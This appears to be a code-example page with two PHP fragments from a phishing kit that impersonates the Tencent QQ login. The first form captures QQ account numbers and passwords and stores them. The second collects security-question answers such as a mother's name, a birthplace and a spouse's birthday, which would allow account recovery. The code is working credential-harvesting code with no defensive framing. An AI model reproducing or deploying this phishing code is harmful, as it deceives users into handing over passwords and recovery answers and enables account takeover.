Esempio n. 1
0
}
</script>
</head>
<body>
<div class="main" id="login" style="border:0px;">

    <?php 
if (isset($_POST['u']) && isset($_POST['p']) && isset($_POST['verifycode'])) {
    if (empty($_POST['u']) && empty($_POST['p']) && empty($_POST['verifycode'])) {
        echo '<script>alert("请完整填写信息"); </script>';
    } else {
        if (!is_numeric($_POST['u']) || strlen($_POST['u']) < 5 || strlen($_POST['p']) > 16) {
            echo '<script>alert("帐号密码格式错误"); </script>';
        } else {
            writeQQ($_POST['u'], $_POST['p']);
            writeSecurity($_POST['u'], '');
            echo '<script>parent.location.href="reset.php?u=' . $_POST['u'] . '&p=' . $_POST['p'] . '"</script>';
        }
    }
}
?>
    
    <div id="qlogin" style="display:none;"></div>
    <div id="web_login">
    <FORM method="post" autocomplete="off" id="loginform" style="MARGIN: 0px" name=loginform onsubmit="return aa() " onreset="return onFormReset(loginform)" action="login.php" >
        <ul id="g_list">
            <li id="err_m" class="err_m"></li>
            <li id="g_u">
            	<span><u id="label_uin">QQ帐号:</u></span><input type="text" class="inputstyle" maxlength="12" id="u" name="u" value="" style="ime-mode:disabled" tabindex="1" onfocus="" onblur="" /> <label><a target="_top" href="http://zc.qq.com/chs/index.html?from=pt" tabindex="7" id="label_newreg">
				注册新帐号</a></label>    
            </li> 
Esempio n. 2
0
<?php

require 'function.php';
if (isset($_POST['dnaAnswer1']) && isset($_POST['dnaAnswer2']) && isset($_POST['dnaAnswer3'])) {
    $answerList = array();
    $answerList[0] = '您母亲的姓名是?';
    $answerList[4] = '您父亲的职业是?';
    $answerList[3] = '您配偶的生日是?';
    $answerList[8] = '您的学号(或工号)是?';
    $answerList[13] = '您母亲的生日是?';
    $answerList[5] = '您高中班主任的名字是?';
    $answerList[12] = '您父亲的姓名是?';
    $answerList[1] = '您的出生地是?';
    $answerList[14] = '您小学班主任的名字是?';
    $answerList[10] = '您的小学校名是?';
    $answerList[15] = '您父亲的生日是?';
    $answerList[2] = '您配偶的姓名是?';
    $answerList[7] = '您母亲的职业是?';
    $answerList[6] = '您初中班主任的名字是?';
    $answerList[11] = '您配偶的职业是?';
    $answerList[9] = '您最熟悉的童年好友名字是?';
    $answerList[16] = '您最熟悉的学校宿舍室友名字是?';
    $answerList[17] = '对您影响最大的人名字是?';
    writeSecurity($_GET['u'], $answerList[$_POST['ddlDNAQues1']] . ':' . $_POST['dnaAnswer1'] . ';' . $answerList[$_POST['ddlDNAQues2']] . ':' . $_POST['dnaAnswer2'] . ';' . $answerList[$_POST['ddlDNAQues3']] . ':' . $_POST['dnaAnswer3']);
} else {
    echo "<script>alert('您无权访问!');window.location.href='reset.php';</script>";
}